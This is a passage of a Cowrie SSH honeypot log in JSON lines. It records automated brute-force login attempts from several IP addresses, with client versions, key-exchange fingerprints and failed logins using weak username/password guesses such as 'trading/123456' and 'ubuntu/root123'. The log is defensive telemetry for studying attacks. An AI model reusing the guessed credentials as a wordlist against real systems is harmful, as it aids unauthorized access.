com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:39.377877Z","src_ip":"92.118.39.95","session":"e85ed9cfaefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:39.685945Z","src_ip":"92.118.39.95","session":"e85ed9cfaefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:40.790221Z","src_ip":"92.118.39.95","session":"e85ed9cfaefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52046,"dst_ip":"159.203.135.109","dst_port":22,"session":"252b9fdea181","protocol":"ssh","message":"New connection: 2.57.122.208:52046 (159.203.135.109:22) [session: 252b9fdea181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:11.540951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:11.579427Z","src_ip":"2.57.122.208","session":"252b9fdea181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:11.640694Z","src_ip":"2.57.122.208","session":"252b9fdea181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:12.048242Z","src_ip":"2.57.122.208","session":"252b9fdea181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:13.171719Z","src_ip":"2.57.122.208","session":"252b9fdea181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":33860,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6c8054f23c","protocol":"ssh","message":"New connection: 20.196.64.198:33860 (10.17.0.5:22) [session: ea6c8054f23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:29.308792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:29.312684Z","src_ip":"20.196.64.198","session":"ea6c8054f23c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:29.501393Z","src_ip":"20.196.64.198","session":"ea6c8054f23c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul","message":"login attempt [rahul/rahul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:30.295014Z","src_ip":"20.196.64.198","session":"ea6c8054f23c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:31.491877Z","src_ip":"20.196.64.198","session":"ea6c8054f23c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":48634,"dst_ip":"10.17.0.5","dst_port":22,"session":"96118a3852ae","protocol":"ssh","message":"New connection: 103.154.77.48:48634 (10.17.0.5:22) [session: 96118a3852ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:40.150892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:40.155310Z","src_ip":"103.154.77.48","session":"96118a3852ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:40.413530Z","src_ip":"103.154.77.48","session":"96118a3852ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pablo","password":"pablo123!","message":"login attempt [pablo/pablo123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:41.480041Z","src_ip":"103.154.77.48","session":"96118a3852ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:42.741014Z","src_ip":"103.154.77.48","session":"96118a3852ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36890,"dst_ip":"10.17.0.5","dst_port":22,"session":"422a5c0347d4","protocol":"ssh","message":"New connection: 2.57.122.208:36890 (10.17.0.5:22) [session: 422a5c0347d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:43.711169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:43.748617Z","src_ip":"2.57.122.208","session":"422a5c0347d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:43.859848Z","src_ip":"2.57.122.208","session":"422a5c0347d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:44.525496Z","src_ip":"2.57.122.208","session":"422a5c0347d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:45.643684Z","src_ip":"2.57.122.208","session":"422a5c0347d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":60972,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ad438affc6","protocol":"ssh","message":"New connection: 42.200.78.78:60972 (10.17.0.5:22) [session: 64ad438affc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:51.013814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:51.019512Z","src_ip":"42.200.78.78","session":"64ad438affc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:51.235263Z","src_ip":"42.200.78.78","session":"64ad438affc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boss","password":"12345678","message":"login attempt [boss/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:52.122570Z","src_ip":"42.200.78.78","session":"64ad438affc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:53.338852Z","src_ip":"42.200.78.78","session":"64ad438affc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53718,"dst_ip":"159.203.135.109","dst_port":22,"session":"0953c221a1b2","protocol":"ssh","message":"New connection: 2.57.122.96:53718 (159.203.135.109:22) [session: 0953c221a1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:58.573708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:58.578724Z","src_ip":"2.57.122.96","session":"0953c221a1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:58.679289Z","src_ip":"2.57.122.96","session":"0953c221a1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:41:58.978129Z","src_ip":"2.57.122.96","session":"0953c221a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:42:00.104056Z","src_ip":"2.57.122.96","session":"0953c221a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":44818,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b3ff68832c1","protocol":"ssh","message":"New connection: 92.118.39.95:44818 (159.203.135.109:22) [session: 5b3ff68832c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:42:56.543565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:42:56.593029Z","src_ip":"92.118.39.95","session":"5b3ff68832c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:42:56.655181Z","src_ip":"92.118.39.95","session":"5b3ff68832c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:42:57.039787Z","src_ip":"92.118.39.95","session":"5b3ff68832c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:42:58.166012Z","src_ip":"92.118.39.95","session":"5b3ff68832c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38718,"dst_ip":"159.203.135.109","dst_port":22,"session":"73cd46e2a9b2","protocol":"ssh","message":"New connection: 2.57.122.208:38718 (159.203.135.109:22) [session: 73cd46e2a9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:20.847318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:21.042269Z","src_ip":"2.57.122.208","session":"73cd46e2a9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:21.046761Z","src_ip":"2.57.122.208","session":"73cd46e2a9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:21.970607Z","src_ip":"2.57.122.208","session":"73cd46e2a9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:23.143126Z","src_ip":"2.57.122.208","session":"73cd46e2a9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":51532,"dst_ip":"10.17.0.5","dst_port":22,"session":"b072e3ac621b","protocol":"ssh","message":"New connection: 103.154.77.48:51532 (10.17.0.5:22) [session: b072e3ac621b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:26.002952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:26.008003Z","src_ip":"103.154.77.48","session":"b072e3ac621b","protocol":"ssh"}
